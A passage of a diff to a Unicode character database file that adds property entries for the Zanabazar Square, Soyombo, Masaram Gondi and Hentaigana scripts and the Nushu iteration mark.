+11A1E;ZANABAZAR SQUARE LETTER PA;Lo;0;L;;;;;N;;;;;
+11A1F;ZANABAZAR SQUARE LETTER PHA;Lo;0;L;;;;;N;;;;;
+11A20;ZANABAZAR SQUARE LETTER BA;Lo;0;L;;;;;N;;;;;
+11A21;ZANABAZAR SQUARE LETTER BHA;Lo;0;L;;;;;N;;;;;
+11A22;ZANABAZAR SQUARE LETTER MA;Lo;0;L;;;;;N;;;;;
+11A23;ZANABAZAR SQUARE LETTER TSA;Lo;0;L;;;;;N;;;;;
+11A24;ZANABAZAR SQUARE LETTER TSHA;Lo;0;L;;;;;N;;;;;
+11A25;ZANABAZAR SQUARE LETTER DZA;Lo;0;L;;;;;N;;;;;
+11A26;ZANABAZAR SQUARE LETTER DZHA;Lo;0;L;;;;;N;;;;;
+11A27;ZANABAZAR SQUARE LETTER ZHA;Lo;0;L;;;;;N;;;;;
+11A28;ZANABAZAR SQUARE LETTER ZA;Lo;0;L;;;;;N;;;;;
+11A29;ZANABAZAR SQUARE LETTER -A;Lo;0;L;;;;;N;;;;;
+11A2A;ZANABAZAR SQUARE LETTER YA;Lo;0;L;;;;;N;;;;;
+11A2B;ZANABAZAR SQUARE LETTER RA;Lo;0;L;;;;;N;;;;;
+11A2C;ZANABAZAR SQUARE LETTER LA;Lo;0;L;;;;;N;;;;;
+11A2D;ZANABAZAR SQUARE LETTER VA;Lo;0;L;;;;;N;;;;;
+11A2E;ZANABAZAR SQUARE LETTER SHA;Lo;0;L;;;;;N;;;;;
+11A2F;ZANABAZAR SQUARE LETTER SSA;Lo;0;L;;;;;N;;;;;
+11A30;ZANABAZAR SQUARE LETTER SA;Lo;0;L;;;;;N;;;;;
+11A31;ZANABAZAR SQUARE LETTER HA;Lo;0;L;;;;;N;;;;;
+11A32;ZANABAZAR SQUARE LETTER KSSA;Lo;0;L;;;;;N;;;;;
+11A33;ZANABAZAR SQUARE FINAL CONSONANT MARK;Mn;0;NSM;;;;;N;;;;;
+11A34;ZANABAZAR SQUARE SIGN VIRAMA;Mn;9;NSM;;;;;N;;;;;
+11A35;ZANABAZAR SQUARE SIGN CANDRABINDU;Mn;0;NSM;;;;;N;;;;;
+11A36;ZANABAZAR SQUARE SIGN CANDRABINDU WITH ORNAMENT;Mn;0;NSM;;;;;N;;;;;
+11A37;ZANABAZAR SQUARE SIGN CANDRA WITH ORNAMENT;Mn;0;NSM;;;;;N;;;;;
+11A38;ZANABAZAR SQUARE SIGN ANUSVARA;Mn;0;NSM;;;;;N;;;;;
+11A39;ZANABAZAR SQUARE SIGN VISARGA;Mc;0;L;;;;;N;;;;;
+11A3A;ZANABAZAR SQUARE CLUSTER-INITIAL LETTER RA;Lo;0;L;;;;;N;;;;;
+11A3B;ZANABAZAR SQUARE CLUSTER-FINAL LETTER YA;Mn;0;NSM;;;;;N;;;;;
+11A3C;ZANABAZAR SQUARE CLUSTER-FINAL LETTER RA;Mn;0;NSM;;;;;N;;;;;
+11A3D;ZANABAZAR SQUARE CLUSTER-FINAL LETTER LA;Mn;0;NSM;;;;;N;;;;;
+11A3E;ZANABAZAR SQUARE CLUSTER-FINAL LETTER VA;Mn;0;NSM;;;;;N;;;;;
+11A3F;ZANABAZAR SQUARE INITIAL HEAD MARK;Po;0;L;;;;;N;;;;;
+11A40;ZANABAZAR SQUARE CLOSING HEAD MARK;Po;0;L;;;;;N;;;;;
+11A41;ZANABAZAR SQUARE MARK TSHEG;Po;0;L;;;;;N;;;;;
+11A42;ZANABAZAR SQUARE MARK SHAD;Po;0;L;;;;;N;;;;;
+11A43;ZANABAZAR SQUARE MARK DOUBLE SHAD;Po;0;L;;;;;N;;;;;
+11A44;ZANABAZAR SQUARE MARK LONG TSHEG;Po;0;L;;;;;N;;;;;
+11A45;ZANABAZAR SQUARE INITIAL DOUBLE-LINED HEAD MARK;Po;0;L;;;;;N;;;;;
+11A46;ZANABAZAR SQUARE CLOSING DOUBLE-LINED HEAD MARK;Po;0;L;;;;;N;;;;;
+11A47;ZANABAZAR SQUARE SUBJOINER;Mn;9;NSM;;;;;N;;;;;
+11A50;SOYOMBO LETTER A;Lo;0;L;;;;;N;;;;;
+11A51;SOYOMBO VOWEL SIGN I;Mn;0;NSM;;;;;N;;;;;
+11A52;SOYOMBO VOWEL SIGN UE;Mn;0;NSM;;;;;N;;;;;
+11A53;SOYOMBO VOWEL SIGN U;Mn;0;NSM;;;;;N;;;;;
+11A54;SOYOMBO VOWEL SIGN E;Mn;0;NSM;;;;;N;;;;;
+11A55;SOYOMBO VOWEL SIGN O;Mn;0;NSM;;;;;N;;;;;
+11A56;SOYOMBO VOWEL SIGN OE;Mn;0;NSM;;;;;N;;;;;
+11A57;SOYOMBO VOWEL SIGN AI;Mc;0;L;;;;;N;;;;;
+11A58;SOYOMBO VOWEL SIGN AU;Mc;0;L;;;;;N;;;;;
+11A59;SOYOMBO VOWEL SIGN VOCALIC R;Mn;0;NSM;;;;;N;;;;;
+11A5A;SOYOMBO VOWEL SIGN VOCALIC L;Mn;0;NSM;;;;;N;;;;;
+11A5B;SOYOMBO VOWEL LENGTH MARK;Mn;0;NSM;;;;;N;;;;;
+11A5C;SOYOMBO LETTER KA;Lo;0;L;;;;;N;;;;;
+11A5D;SOYOMBO LETTER KHA;Lo;0;L;;;;;N;;;;;
+11A5E;SOYOMBO LETTER GA;Lo;0;L;;;;;N;;;;;
+11A5F;SOYOMBO LETTER GHA;Lo;0;L;;;;;N;;;;;
+11A60;SOYOMBO LETTER NGA;Lo;0;L;;;;;N;;;;;
+11A61;SOYOMBO LETTER CA;Lo;0;L;;;;;N;;;;;
+11A62;SOYOMBO LETTER CHA;Lo;0;L;;;;;N;;;;;
+11A63;SOYOMBO LETTER JA;Lo;0;L;;;;;N;;;;;
+11A64;SOYOMBO LETTER JHA;Lo;0;L;;;;;N;;;;;
+11A65;SOYOMBO LETTER NYA;Lo;0;L;;;;;N;;;;;
+11A66;SOYOMBO LETTER TTA;Lo;0;L;;;;;N;;;;;
+11A67;SOYOMBO LETTER TTHA;Lo;0;L;;;;;N;;;;;
+11A68;SOYOMBO LETTER DDA;Lo;0;L;;;;;N;;;;;
+11A69;SOYOMBO LETTER DDHA;Lo;0;L;;;;;N;;;;;
+11A6A;SOYOMBO LETTER NNA;Lo;0;L;;;;;N;;;;;
+11A6B;SOYOMBO LETTER TA;Lo;0;L;;;;;N;;;;;
+11A6C;SOYOMBO LETTER THA;Lo;0;L;;;;;N;;;;;
+11A6D;SOYOMBO LETTER DA;Lo;0;L;;;;;N;;;;;
+11A6E;SOYOMBO LETTER DHA;Lo;0;L;;;;;N;;;;;
+11A6F;SOYOMBO LETTER NA;Lo;0;L;;;;;N;;;;;
+11A70;SOYOMBO LETTER PA;Lo;0;L;;;;;N;;;;;
+11A71;SOYOMBO LETTER PHA;Lo;0;L;;;;;N;;;;;
+11A72;SOYOMBO LETTER BA;Lo;0;L;;;;;N;;;;;
+11A73;SOYOMBO LETTER BHA;Lo;0;L;;;;;N;;;;;
+11A74;SOYOMBO LETTER MA;Lo;0;L;;;;;N;;;;;
+11A75;SOYOMBO LETTER TSA;Lo;0;L;;;;;N;;;;;
+11A76;SOYOMBO LETTER TSHA;Lo;0;L;;;;;N;;;;;
+11A77;SOYOMBO LETTER DZA;Lo;0;L;;;;;N;;;;;
+11A78;SOYOMBO LETTER ZHA;Lo;0;L;;;;;N;;;;;
+11A79;SOYOMBO LETTER ZA;Lo;0;L;;;;;N;;;;;
+11A7A;SOYOMBO LETTER -A;Lo;0;L;;;;;N;;;;;
+11A7B;SOYOMBO LETTER YA;Lo;0;L;;;;;N;;;;;
+11A7C;SOYOMBO LETTER RA;Lo;0;L;;;;;N;;;;;
+11A7D;SOYOMBO LETTER LA;Lo;0;L;;;;;N;;;;;
+11A7E;SOYOMBO LETTER VA;Lo;0;L;;;;;N;;;;;
+11A7F;SOYOMBO LETTER SHA;Lo;0;L;;;;;N;;;;;
+11A80;SOYOMBO LETTER SSA;Lo;0;L;;;;;N;;;;;
+11A81;SOYOMBO LETTER SA;Lo;0;L;;;;;N;;;;;
+11A82;SOYOMBO LETTER HA;Lo;0;L;;;;;N;;;;;
+11A83;SOYOMBO LETTER KSSA;Lo;0;L;;;;;N;;;;;
+11A86;SOYOMBO CLUSTER-INITIAL LETTER RA;Lo;0;L;;;;;N;;;;;
+11A87;SOYOMBO CLUSTER-INITIAL LETTER LA;Lo;0;L;;;;;N;;;;;
+11A88;SOYOMBO CLUSTER-INITIAL LETTER SHA;Lo;0;L;;;;;N;;;;;
+11A89;SOYOMBO CLUSTER-INITIAL LETTER SA;Lo;0;L;;;;;N;;;;;
+11A8A;SOYOMBO FINAL CONSONANT SIGN G;Mn;0;NSM;;;;;N;;;;;
+11A8B;SOYOMBO FINAL CONSONANT SIGN K;Mn;0;NSM;;;;;N;;;;;
+11A8C;SOYOMBO FINAL CONSONANT SIGN NG;Mn;0;NSM;;;;;N;;;;;
+11A8D;SOYOMBO FINAL CONSONANT SIGN D;Mn;0;NSM;;;;;N;;;;;
+11A8E;SOYOMBO FINAL CONSONANT SIGN N;Mn;0;NSM;;;;;N;;;;;
+11A8F;SOYOMBO FINAL CONSONANT SIGN B;Mn;0;NSM;;;;;N;;;;;
+11A90;SOYOMBO FINAL CONSONANT SIGN M;Mn;0;NSM;;;;;N;;;;;
+11A91;SOYOMBO FINAL CONSONANT SIGN R;Mn;0;NSM;;;;;N;;;;;
+11A92;SOYOMBO FINAL CONSONANT SIGN L;Mn;0;NSM;;;;;N;;;;;
+11A93;SOYOMBO FINAL CONSONANT SIGN SH;Mn;0;NSM;;;;;N;;;;;
+11A94;SOYOMBO FINAL CONSONANT SIGN S;Mn;0;NSM;;;;;N;;;;;
+11A95;SOYOMBO FINAL CONSONANT SIGN -A;Mn;0;NSM;;;;;N;;;;;
+11A96;SOYOMBO SIGN ANUSVARA;Mn;0;NSM;;;;;N;;;;;
+11A97;SOYOMBO SIGN VISARGA;Mc;0;L;;;;;N;;;;;
+11A98;SOYOMBO GEMINATION MARK;Mn;0;NSM;;;;;N;;;;;
+11A99;SOYOMBO SUBJOINER;Mn;9;NSM;;;;;N;;;;;
+11A9A;SOYOMBO MARK TSHEG;Po;0;L;;;;;N;;;;;
+11A9B;SOYOMBO MARK SHAD;Po;0;L;;;;;N;;;;;
+11A9C;SOYOMBO MARK DOUBLE SHAD;Po;0;L;;;;;N;;;;;
+11A9E;SOYOMBO HEAD MARK WITH MOON AND SUN AND TRIPLE FLAME;Po;0;L;;;;;N;;;;;
+11A9F;SOYOMBO HEAD MARK WITH MOON AND SUN AND FLAME;Po;0;L;;;;;N;;;;;
+11AA0;SOYOMBO HEAD MARK WITH MOON AND SUN;Po;0;L;;;;;N;;;;;
+11AA1;SOYOMBO TERMINAL MARK-1;Po;0;L;;;;;N;;;;;
+11AA2;SOYOMBO TERMINAL MARK-2;Po;0;L;;;;;N;;;;;
 11AC0;PAU CIN HAU LETTER PA;Lo;0;L;;;;;N;;;;;
 11AC1;PAU CIN HAU LETTER KA;Lo;0;L;;;;;N;;;;;
 11AC2;PAU CIN HAU LETTER LA;Lo;0;L;;;;;N;;;;;
@@ -20290,6 +20481,81 @@
 11CB4;MARCHEN VOWEL SIGN O;Mc;0;L;;;;;N;;;;;
 11CB5;MARCHEN SIGN ANUSVARA;Mn;0;NSM;;;;;N;;;;;
 11CB6;MARCHEN SIGN CANDRABINDU;Mn;0;NSM;;;;;N;;;;;
+11D00;MASARAM GONDI LETTER A;Lo;0;L;;;;;N;;;;;
+11D01;MASARAM GONDI LETTER AA;Lo;0;L;;;;;N;;;;;
+11D02;MASARAM GONDI LETTER I;Lo;0;L;;;;;N;;;;;
+11D03;MASARAM GONDI LETTER II;Lo;0;L;;;;;N;;;;;
+11D04;MASARAM GONDI LETTER U;Lo;0;L;;;;;N;;;;;
+11D05;MASARAM GONDI LETTER UU;Lo;0;L;;;;;N;;;;;
+11D06;MASARAM GONDI LETTER E;Lo;0;L;;;;;N;;;;;
+11D08;MASARAM GONDI LETTER AI;Lo;0;L;;;;;N;;;;;
+11D09;MASARAM GONDI LETTER O;Lo;0;L;;;;;N;;;;;
+11D0B;MASARAM GONDI LETTER AU;Lo;0;L;;;;;N;;;;;
+11D0C;MASARAM GONDI LETTER KA;Lo;0;L;;;;;N;;;;;
+11D0D;MASARAM GONDI LETTER KHA;Lo;0;L;;;;;N;;;;;
+11D0E;MASARAM GONDI LETTER GA;Lo;0;L;;;;;N;;;;;
+11D0F;MASARAM GONDI LETTER GHA;Lo;0;L;;;;;N;;;;;
+11D10;MASARAM GONDI LETTER NGA;Lo;0;L;;;;;N;;;;;
+11D11;MASARAM GONDI LETTER CA;Lo;0;L;;;;;N;;;;;
+11D12;MASARAM GONDI LETTER CHA;Lo;0;L;;;;;N;;;;;
+11D13;MASARAM GONDI LETTER JA;Lo;0;L;;;;;N;;;;;
+11D14;MASARAM GONDI LETTER JHA;Lo;0;L;;;;;N;;;;;
+11D15;MASARAM GONDI LETTER NYA;Lo;0;L;;;;;N;;;;;
+11D16;MASARAM GONDI LETTER TTA;Lo;0;L;;;;;N;;;;;
+11D17;MASARAM GONDI LETTER TTHA;Lo;0;L;;;;;N;;;;;
+11D18;MASARAM GONDI LETTER DDA;Lo;0;L;;;;;N;;;;;
+11D19;MASARAM GONDI LETTER DDHA;Lo;0;L;;;;;N;;;;;
+11D1A;MASARAM GONDI LETTER NNA;Lo;0;L;;;;;N;;;;;
+11D1B;MASARAM GONDI LETTER TA;Lo;0;L;;;;;N;;;;;
+11D1C;MASARAM GONDI LETTER THA;Lo;0;L;;;;;N;;;;;
+11D1D;MASARAM GONDI LETTER DA;Lo;0;L;;;;;N;;;;;
+11D1E;MASARAM GONDI LETTER DHA;Lo;0;L;;;;;N;;;;;
+11D1F;MASARAM GONDI LETTER NA;Lo;0;L;;;;;N;;;;;
+11D20;MASARAM GONDI LETTER PA;Lo;0;L;;;;;N;;;;;
+11D21;MASARAM GONDI LETTER PHA;Lo;0;L;;;;;N;;;;;
+11D22;MASARAM GONDI LETTER BA;Lo;0;L;;;;;N;;;;;
+11D23;MASARAM GONDI LETTER BHA;Lo;0;L;;;;;N;;;;;
+11D24;MASARAM GONDI LETTER MA;Lo;0;L;;;;;N;;;;;
+11D25;MASARAM GONDI LETTER YA;Lo;0;L;;;;;N;;;;;
+11D26;MASARAM GONDI LETTER RA;Lo;0;L;;;;;N;;;;;
+11D27;MASARAM GONDI LETTER LA;Lo;0;L;;;;;N;;;;;
+11D28;MASARAM GONDI LETTER VA;Lo;0;L;;;;;N;;;;;
+11D29;MASARAM GONDI LETTER SHA;Lo;0;L;;;;;N;;;;;
+11D2A;MASARAM GONDI LETTER SSA;Lo;0;L;;;;;N;;;;;
+11D2B;MASARAM GONDI LETTER SA;Lo;0;L;;;;;N;;;;;
+11D2C;MASARAM GONDI LETTER HA;Lo;0;L;;;;;N;;;;;
+11D2D;MASARAM GONDI LETTER LLA;Lo;0;L;;;;;N;;;;;
+11D2E;MASARAM GONDI LETTER KSSA;Lo;0;L;;;;;N;;;;;
+11D2F;MASARAM GONDI LETTER JNYA;Lo;0;L;;;;;N;;;;;
+11D30;MASARAM GONDI LETTER TRA;Lo;0;L;;;;;N;;;;;
+11D31;MASARAM GONDI VOWEL SIGN AA;Mn;0;NSM;;;;;N;;;;;
+11D32;MASARAM GONDI VOWEL SIGN I;Mn;0;NSM;;;;;N;;;;;
+11D33;MASARAM GONDI VOWEL SIGN II;Mn;0;NSM;;;;;N;;;;;
+11D34;MASARAM GONDI VOWEL SIGN U;Mn;0;NSM;;;;;N;;;;;
+11D35;MASARAM GONDI VOWEL SIGN UU;Mn;0;NSM;;;;;N;;;;;
+11D36;MASARAM GONDI VOWEL SIGN VOCALIC R;Mn;0;NSM;;;;;N;;;;;
+11D3A;MASARAM GONDI VOWEL SIGN E;Mn;0;NSM;;;;;N;;;;;
+11D3C;MASARAM GONDI VOWEL SIGN AI;Mn;0;NSM;;;;;N;;;;;
+11D3D;MASARAM GONDI VOWEL SIGN O;Mn;0;NSM;;;;;N;;;;;
+11D3F;MASARAM GONDI VOWEL SIGN AU;Mn;0;NSM;;;;;N;;;;;
+11D40;MASARAM GONDI SIGN ANUSVARA;Mn;0;NSM;;;;;N;;;;;
+11D41;MASARAM GONDI SIGN VISARGA;Mn;0;NSM;;;;;N;;;;;
+11D42;MASARAM GONDI SIGN NUKTA;Mn;7;NSM;;;;;N;;;;;
+11D43;MASARAM GONDI SIGN CANDRA;Mn;0;NSM;;;;;N;;;;;
+11D44;MASARAM GONDI SIGN HALANTA;Mn;9;NSM;;;;;N;;;;;
+11D45;MASARAM GONDI VIRAMA;Mn;9;NSM;;;;;N;;;;;
+11D46;MASARAM GONDI REPHA;Lo;0;L;;;;;N;;;;;
+11D47;MASARAM GONDI RA-KARA;Mn;0;NSM;;;;;N;;;;;
+11D50;MASARAM GONDI DIGIT ZERO;Nd;0;L;;0;0;0;N;;;;;
+11D51;MASARAM GONDI DIGIT ONE;Nd;0;L;;1;1;1;N;;;;;
+11D52;MASARAM GONDI DIGIT TWO;Nd;0;L;;2;2;2;N;;;;;
+11D53;MASARAM GONDI DIGIT THREE;Nd;0;L;;3;3;3;N;;;;;
+11D54;MASARAM GONDI DIGIT FOUR;Nd;0;L;;4;4;4;N;;;;;
+11D55;MASARAM GONDI DIGIT FIVE;Nd;0;L;;5;5;5;N;;;;;
+11D56;MASARAM GONDI DIGIT SIX;Nd;0;L;;6;6;6;N;;;;;
+11D57;MASARAM GONDI DIGIT SEVEN;Nd;0;L;;7;7;7;N;;;;;
+11D58;MASARAM GONDI DIGIT EIGHT;Nd;0;L;;8;8;8;N;;;;;
+11D59;MASARAM GONDI DIGIT NINE;Nd;0;L;;9;9;9;N;;;;;
 12000;CUNEIFORM SIGN A;Lo;0;L;;;;;N;;;;;
 12001;CUNEIFORM SIGN A TIMES A;Lo;0;L;;;;;N;;;;;
 12002;CUNEIFORM SIGN A TIMES BAD;Lo;0;L;;;;;N;;;;;
@@ -24087,6 +24353,7 @@
 16F9E;MIAO LETTER REFORMED TONE-6;Lm;0;L;;;;;N;;;;;
 16F9F;MIAO LETTER REFORMED TONE-8;Lm;0;L;;;;;N;;;;;
 16FE0;TANGUT ITERATION MARK;Lm;0;L;;;;;N;;;;;
+16FE1;NUSHU ITERATION MARK;Lm;0;L;;;;;N;;;;;
 17000;<Tangut Ideograph, First>;Lo;0;L;;;;;N;;;;;
 187EC;<Tangut Ideograph, Last>;Lo;0;L;;;;;N;;;;;
 18800;TANGUT COMPONENT-001;Lo;0;L;;;;;N;;;;;
@@ -24846,6 +25113,687 @@
 18AF2;TANGUT COMPONENT-755;Lo;0;L;;;;;N;;;;;
 1B000;KATAKANA LETTER ARCHAIC E;Lo;0;L;;;;;N;;;;;
 1B001;HIRAGANA LETTER ARCHAIC YE;Lo;0;L;;;;;N;;;;;
+1B002;HENTAIGANA LETTER A-1;Lo;0;L;;;;;N;;;;;
+1B003;HENTAIGANA LETTER A-2;Lo;0;L;;;;;N;;;;;
+1B004;HENTAIGANA LETTER A-3;Lo;0;L;;;;;N;;;;;
+1B005;HENTAIGANA LETTER A-WO;Lo;0;L;;;;;N;;;;;
+1B006;HENTAIGANA LETTER I-1;Lo;0;L;;;;;N;;;;;
+1B007;HENTAIGANA LETTER I-2;Lo;0;L;;;;;N;;;;;
+1B008;HENTAIGANA LETTER I-3;Lo;0;L;;;;;N;;;;;
+1B009;HENTAIGANA LETTER I-4;Lo;0;L;;;;;N;;;;;
+1B00A;HENTAIGANA LETTER U-1;Lo;0;L;;;;;N;;;;;
+1B00B;HENTAIGANA LETTER U-2;Lo;0;L;;;;;N;;;;;
+1B00C;HENTAIGANA LETTER U-3;Lo;0;L;;;;;N;;;;;
+1B00D;HENTAIGANA LETTER U-4;Lo;0;L;;;;;N;;;;;
+1B00E;HENTAIGANA LETTER U-5;Lo;0;L;;;;;N;;;;;
+1B00F;HENTAIGANA LETTER E-2;Lo;0;L;;;;;N;;;;;
+1B010;HENTAIGANA LETTER E-3;Lo;0;L;;;;;N;;;;;
+1B011;HENTAIGANA LETTER E-4;Lo;0;L;;;;;N;;;;;
+1B012;HENTAIGANA LETTER E-5;Lo;0;L;;;;;N;;;;;
+1B013;HENTAIGANA LETTER E-6;Lo;0;L;;;;;N;;;;;
+1B014;HENTAIGANA LETTER O-1;Lo;0;L;;;;;N;;;;;
+1B015;HENTAIGANA LETTER O-2;Lo;0;L;;;;;N;;;;;
+1B016;HENTAIGANA LETTER O-3;Lo;0;L;;;;;N;;;;;
+1B017;HENTAIGANA LETTER KA-1;Lo;0;L;;;;;N;;;;;
+1B018;HENTAIGANA LETTER KA-2;Lo;0;L;;;;;N;;;;;
+1B019;HENTAIGANA LETTER KA-3;Lo;0;L;;;;;N;;;;;
+1B01A;HENTAIGANA LETTER KA-4;Lo;0;L;;;;;N;;;;;
+1B01B;HENTAIGANA LETTER KA-5;Lo;0;L;;;;;N;;;;;
+1B01C;HENTAIGANA LETTER KA-6;Lo;0;L;;;;;N;;;;;
+1B01D;HENTAIGANA LETTER KA-7;Lo;0;L;;;;;N;;;;;
+1B01E;HENTAIGANA LETTER KA-8;Lo;0;L;;;;;N;;;;;
+1B01F;HENTAIGANA LETTER KA-9;Lo;0;L;;;;;N;;;;;
+1B020;HENTAIGANA LETTER KA-10;Lo;0;L;;;;;N;;;;;
+1B021;HENTAIGANA LETTER KA-11;Lo;0;L;;;;;N;;;;;
+1B022;HENTAIGANA LETTER KA-KE;Lo;0;L;;;;;N;;;;;
+1B023;HENTAIGANA LETTER KI-1;Lo;0;L;;;;;N;;;;;
+1B024;HENTAIGANA LETTER KI-2;Lo;0;L;;;;;N;;;;;
+1B025;HENTAIGANA LETTER KI-3;Lo;0;L;;;;;N;;;;;
+1B026;HENTAIGANA LETTER KI-4;Lo;0;L;;;;;N;;;;;
+1B027;HENTAIGANA LETTER KI-5;Lo;0;L;;;;;N;;;;;
+1B028;HENTAIGANA LETTER KI-6;Lo;0;L;;;;;N;;;;;
+1B029;HENTAIGANA LETTER KI-7;Lo;0;L;;;;;N;;;;;
+1B02A;HENTAIGANA LETTER KI-8;Lo;0;L;;;;;N;;;;;
+1B02B;HENTAIGANA LETTER KU-1;Lo;0;L;;;;;N;;;;;
+1B02C;HENTAIGANA LETTER KU-2;Lo;0;L;;;;;N;;;;;
+1B02D;HENTAIGANA LETTER KU-3;Lo;0;L;;;;;N;;;;;
+1B02E;HENTAIGANA LETTER KU-4;Lo;0;L;;;;;N;;;;;
+1B02F;HENTAIGANA LETTER KU-5;Lo;0;L;;;;;N;;;;;
+1B030;HENTAIGANA LETTER KU-6;Lo;0;L;;;;;N;;;;;
+1B031;HENTAIGANA LETTER KU-7;Lo;0;L;;;;;N;;;;;
+1B032;HENTAIGANA LETTER KE-1;Lo;0;L;;;;;N;;;;;
+1B033;HENTAIGANA LETTER KE-2;Lo;0;L;;;;;N;;;;;
+1B034;HENTAIGANA LETTER KE-3;Lo;0;L;;;;;N;;;;;
+1B035;HENTAIGANA LETTER KE-4;Lo;0;L;;;;;N;;;;;
+1B036;HENTAIGANA LETTER KE-5;Lo;0;L;;;;;N;;;;;
+1B037;HENTAIGANA LETTER KE-6;Lo;0;L;;;;;N;;;;;
+1B038;HENTAIGANA LETTER KO-1;Lo;0;L;;;;;N;;;;;
+1B039;HENTAIGANA LETTER KO-2;Lo;0;L;;;;;N;;;;;
+1B03A;HENTAIGANA LETTER KO-3;Lo;0;L;;;;;N;;;;;
+1B03B;HENTAIGANA LETTER KO-KI;Lo;0;L;;;;;N;;;;;
+1B03C;HENTAIGANA LETTER SA-1;Lo;0;L;;;;;N;;;;;
+1B03D;HENTAIGANA LETTER SA-2;Lo;0;L;;;;;N;;;;;
+1B03E;HENTAIGANA LETTER SA-3;Lo;0;L;;;;;N;;;;;
+1B03F;HENTAIGANA LETTER SA-4;Lo;0;L;;;;;N;;;;;
+1B040;HENTAIGANA LETTER SA-5;Lo;0;L;;;;;N;;;;;
+1B041;HENTAIGANA LETTER SA-6;Lo;0;L;;;;;N;;;;;
+1B042;HENTAIGANA LETTER SA-7;Lo;0;L;;;;;N;;;;;
+1B043;HENTAIGANA LETTER SA-8;Lo;0;L;;;;;N;;;;;
+1B044;HENTAIGANA LETTER SI-1;Lo;0;L;;;;;N;;;;;
+1B045;HENTAIGANA LETTER SI-2;Lo;0;L;;;;;N;;;;;
+1B046;HENTAIGANA LETTER SI-3;Lo;0;L;;;;;N;;;;;
+1B047;HENTAIGANA LETTER SI-4;Lo;0;L;;;;;N;;;;;
+1B048;HENTAIGANA LETTER SI-5;Lo;0;L;;;;;N;;;;;
+1B049;HENTAIGANA LETTER SI-6;Lo;0;L;;;;;N;;;;;
+1B04A;HENTAIGANA LETTER SU-1;Lo;0;L;;;;;N;;;;;
+1B04B;HENTAIGANA LETTER SU-2;Lo;0;L;;;;;N;;;;;
+1B04C;HENTAIGANA LETTER SU-3;Lo;0;L;;;;;N;;;;;
+1B04D;HENTAIGANA LETTER SU-4;Lo;0;L;;;;;N;;;;;
+1B04E;HENTAIGANA LETTER SU-5;Lo;0;L;;;;;N;;;;;
+1B04F;HENTAIGANA LETTER SU-6;Lo;0;L;;;;;N;;;;;
+1B050;HENTAIGANA LETTER SU-7;Lo;0;L;;;;;N;;;;;
+1B051;HENTAIGANA LETTER SU-8;Lo;0;L;;;;;N;;;;;
+1B052;HENTAIGANA LETTER SE-1;Lo;0;L;;;;;N;;;;;
+1B053;HENTAIGANA LETTER SE-2;Lo;0;L;;;;;N;;;;;
+1B054;HENTAIGANA LETTER SE-3;Lo;0;L;;;;;N;;;;;
+1B055;HENTAIGANA LETTER SE-4;Lo;0;L;;;;;N;;;;;
+1B056;HENTAIGANA LETTER SE-5;Lo;0;L;;;;;N;;;;;
+1B057;HENTAIGANA LETTER SO-1;Lo;0;L;;;;;N;;;;;
+1B058;HENTAIGANA LETTER SO-2;Lo;0;L;;;;;N;;;;;
+1B059;HENTAIGANA LETTER SO-3;Lo;0;L;;;;;N;;;;;
+1B05A;HENTAIGANA LETTER SO-4;Lo;0;L;;;;;N;;;;;
+1B05B;HENTAIGANA LETTER SO-5;Lo;0;L;;;;;N;;;;;
+1B05C;HENTAIGANA LETTER SO-6;Lo;0;L;;;;;N;;;;;
+1B05D;HENTAIGANA LETTER SO-7;Lo;0;L;;;;;N;;;;;
+1B05E;HENTAIGANA LETTER TA-1;Lo;0;L;;;;;N;;;;;
+1B05F;HENTAIGANA LETTER TA-2;Lo;0;L;;;;;N;;;;;
+1B060;HENTAIGANA LETTER TA-3;Lo;0;L;;;;;N;;;;;
+1B061;HENTAIGANA LETTER TA-4;Lo;0;L;;;;;N;;;;;
+1B062;HENTAIGANA LETTER TI-1;Lo;0;L;;;;;N;;;;;
+1B063;HENTAIGANA LETTER TI-2;Lo;0;L;;;;;N;;;;;
+1B064;HENTAIGANA LETTER TI-3;Lo;0;L;;;;;N;;;;;
+1B065;HENTAIGANA LETTER TI-4;Lo;0;L;;;;;N;;;;;
+1B066;HENTAIGANA LETTER TI-5;Lo;0;L;;;;;N;;;;;
+1B067;HENTAIGANA LETTER TI-6;Lo;0;L;;;;;N;;;;;
+1B068;HENTAIGANA LETTER TI-7;Lo;0;L;;;;;N;;;;;
+1B069;HENTAIGANA LETTER TU-1;Lo;0;L;;;;;N;;;;;
+1B06A;HENTAIGANA LETTER TU-2;Lo;0;L;;;;;N;;;;;
+1B06B;HENTAIGANA LETTER TU-3;Lo;0;L;;;;;N;;;;;
+1B06C;HENTAIGANA LETTER TU-4;Lo;0;L;;;;;N;;;;;
+1B06D;HENTAIGANA LETTER TU-TO;Lo;0;L;;;;;N;;;;;
+1B06E;HENTAIGANA LETTER TE-1;Lo;0;L;;;;;N;;;;;
+1B06F;HENTAIGANA LETTER TE-2;Lo;0;L;;;;;N;;;;;
+1B070;HENTAIGANA LETTER TE-3;Lo;0;L;;;;;N;;;;;
+1B071;HENTAIGANA LETTER TE-4;Lo;0;L;;;;;N;;;;;
+1B072;HENTAIGANA LETTER TE-5;Lo;0;L;;;;;N;;;;;
+1B073;HENTAIGANA LETTER TE-6;Lo;0;L;;;;;N;;;;;
+1B074;HENTAIGANA LETTER TE-7;Lo;0;L;;;;;N;;;;;
+1B075;HENTAIGANA LETTER TE-8;Lo;0;L;;;;;N;;;;;
+1B076;HENTAIGANA LETTER TE-9;Lo;0;L;;;;;N;;;;;
+1B077;HENTAIGANA LETTER TO-1;Lo;0;L;;;;;N;;;;;
+1B078;HENTAIGANA LETTER TO-2;Lo;0;L;;;;;N;;;;;
+1B079;HENTAIGANA LETTER TO-3;Lo;0;L;;;;;N;;;;;
+1B07A;HENTAIGANA LETTER TO-4;Lo;0;L;;;;;N;;;;;
+1B07B;HENTAIGANA LETTER TO-5;Lo;0;L;;;;;N;;;;;
+1B07C;HENTAIGANA LETTER TO-6;Lo;0;L;;;;;N;;;;;
+1B07D;HENTAIGANA LETTER TO-RA;Lo;0;L;;;;;N;;;;;
+1B07E;HENTAIGANA LETTER NA-1;Lo;0;L;;;;;N;;;;;
+1B07F;HENTAIGANA LETTER NA-2;Lo;0;L;;;;;N;;;;;
+1B080;HENTAIGANA LETTER NA-3;Lo;0;L;;;;;N;;;;;
+1B081;HENTAIGANA LETTER NA-4;Lo;0;L;;;;;N;;;;;
+1B082;HENTAIGANA LETTER NA-5;Lo;0;L;;;;;N;;;;;
+1B083;HENTAIGANA LETTER NA-6;Lo;0;L;;;;;N;;;;;
+1B084;HENTAIGANA LETTER NA-7;Lo;0;L;;;;;N;;;;;
+1B085;HENTAIGANA LETTER NA-8;Lo;0;L;;;;;N;;;;;
